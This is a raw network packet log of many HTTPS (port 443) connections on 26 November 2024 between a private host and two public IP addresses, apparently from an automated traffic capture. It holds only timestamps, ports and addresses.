Nov 26, 2024 13:44:41.894582987 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.903034925 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.903067112 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.903143883 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.903542995 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.903556108 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.940896034 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.944843054 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.944895983 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.944899082 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.944957018 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.945003033 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.945018053 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.945028067 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.945034027 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.952316046 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.952346087 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.952409983 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.952821016 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.952835083 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:42.903284073 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:42.907548904 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:42.907565117 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:42.908050060 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:42.908055067 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.348227024 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.351871014 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.351958990 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.400767088 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.400787115 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.400796890 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.400804043 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.406856060 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.406898975 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.406956911 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.407633066 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.407646894 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.450288057 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.456943989 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.456969023 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.457467079 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.457473040 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.545866966 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.546457052 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.546471119 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.546946049 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.546951056 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.687320948 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.689209938 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.689243078 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.689683914 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.689692020 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.887772083 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.903676033 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.907838106 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.907891989 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.907917976 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.907970905 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.909106016 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.909116983 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.909209013 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.909209013 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.909226894 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.909235954 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.909643888 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.909648895 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.982954025 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.982981920 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:43.983055115 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.990139008 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:43.990154028 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.004892111 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.004951000 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.005032063 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.005206108 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.005219936 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.005228996 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.005234957 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.008770943 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.008789062 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.008862972 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.009002924 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.009015083 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.135447979 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.135478020 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.135581017 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.135607958 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.135754108 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.135763884 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.135773897 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.135951042 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.136003971 CET	443	49964	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.136039972 CET	49964	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.139669895 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.139705896 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.139853954 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.139952898 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.139961004 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.323354959 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.326977968 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.327027082 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.327066898 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.327085972 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.327330112 CET	49965	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.327344894 CET	443	49965	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.334161997 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.334197998 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:44.334269047 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.335426092 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:44.335438967 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.316159010 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.316689968 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.316709995 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.317168951 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.317173004 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.731256008 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.739748955 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.739774942 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.740214109 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.740219116 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.762759924 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.765336990 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.765373945 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.765425920 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.765459061 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.765500069 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.765512943 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.765526056 CET	49966	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.765531063 CET	443	49966	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.839903116 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.860146046 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.862744093 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.862783909 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.862859964 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.863202095 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.863219023 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.863653898 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.863660097 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.866875887 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.866888046 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.867106915 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.867113113 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:45.867228031 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:45.867240906 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.121970892 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.122524977 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.122539997 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.122991085 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.122996092 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.166785002 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.170768976 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.170865059 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.186269045 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.186286926 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.186300993 CET	49968	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.186306000 CET	443	49968	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.192152977 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.192199945 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.192276001 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.192645073 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.192661047 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.296458006 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.299962044 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.300034046 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.300080061 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.300450087 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.300534964 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.300654888 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.300685883 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.300704956 CET	49967	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.300712109 CET	443	49967	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.303507090 CET	49969	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.303536892 CET	443	49969	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.307672977 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.307701111 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.307917118 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.308717966 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.308739901 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.308789968 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.308904886 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.308918953 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.309010983 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.309025049 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.570252895 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.573998928 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.574043989 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.574055910 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.574069023 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.574126005 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.576462030 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.576477051 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.576486111 CET	49970	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.576491117 CET	443	49970	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.580044985 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.580102921 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:46.580167055 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.580466986 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:46.580478907 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:47.198138952 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:47.240458012 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.432914972 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:47.489737034 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.489746094 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:47.511661053 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.511740923 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:47.511842012 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.515916109 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.515934944 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:47.516021967 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.516228914 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:47.516237974 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:47.716815948 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:47.719800949 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:47.719815969 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:47.720530033 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:47.720535994 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.063878059 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.067930937 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.067945957 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.068430901 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.068437099 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.172915936 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.176894903 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.176980972 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.177064896 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.177064896 CET	49971	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.177081108 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.177092075 CET	443	49971	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.184756041 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.184801102 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.184912920 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.185085058 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.185095072 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.216268063 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.216816902 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.217008114 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.217037916 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.217473984 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.217478991 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.217784882 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.217803955 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.218147039 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.218152046 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.384290934 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.385061026 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.385077000 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.385536909 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.385540962 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.519341946 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.525446892 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.525518894 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.525536060 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.525587082 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.525677919 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.525677919 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.527200937 CET	49972	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.527210951 CET	443	49972	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.531407118 CET	49978	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.531421900 CET	443	49978	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.531491995 CET	49978	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.531869888 CET	49978	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.531879902 CET	443	49978	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.678865910 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.678945065 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.678999901 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.679173946 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.679186106 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.679198027 CET	49973	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.679202080 CET	443	49973	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.685162067 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.685193062 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.685241938 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.685264111 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.685302973 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.689002991 CET	49979	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.689033985 CET	443	49979	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.689105988 CET	49979	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.689513922 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.689524889 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.689533949 CET	49974	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.689538956 CET	443	49974	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.693258047 CET	49980	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.693276882 CET	443	49980	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.693337917 CET	49980	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.693706989 CET	49979	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.693725109 CET	443	49979	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.694493055 CET	49980	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.694504023 CET	443	49980	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.735958099 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:48.736321926 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:48.736332893 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:48.737361908 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:48.737422943 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:48.738998890 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:48.739061117 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:48.740062952 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:48.740072012 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:48.833271980 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.833477020 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.833540916 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.834271908 CET	49975	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.834278107 CET	443	49975	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.840229034 CET	49981	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.840347052 CET	443	49981	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.840430021 CET	49981	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.840899944 CET	49981	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:48.840936899 CET	443	49981	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:48.942902088 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:49.901823044 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:49.902318001 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:49.902343035 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:49.902798891 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:49.902812004 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.340404034 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.343996048 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.344192028 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.344327927 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.344345093 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.344403982 CET	49977	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.344412088 CET	443	49977	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.348520041 CET	49982	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.348558903 CET	443	49982	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.348920107 CET	49982	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.349214077 CET	49982	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.349225998 CET	443	49982	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.479703903 CET	443	49979	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.480179071 CET	443	49980	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.481028080 CET	49979	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.481050014 CET	443	49979	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.481488943 CET	49979	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.481496096 CET	443	49979	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.481677055 CET	49980	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.481690884 CET	443	49980	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.482031107 CET	49980	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.482036114 CET	443	49980	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.621067047 CET	443	49981	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.625852108 CET	49981	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.625878096 CET	443	49981	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:50.626240015 CET	49981	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:50.626249075 CET	443	49981	13.107.246.63	192.168.2.7
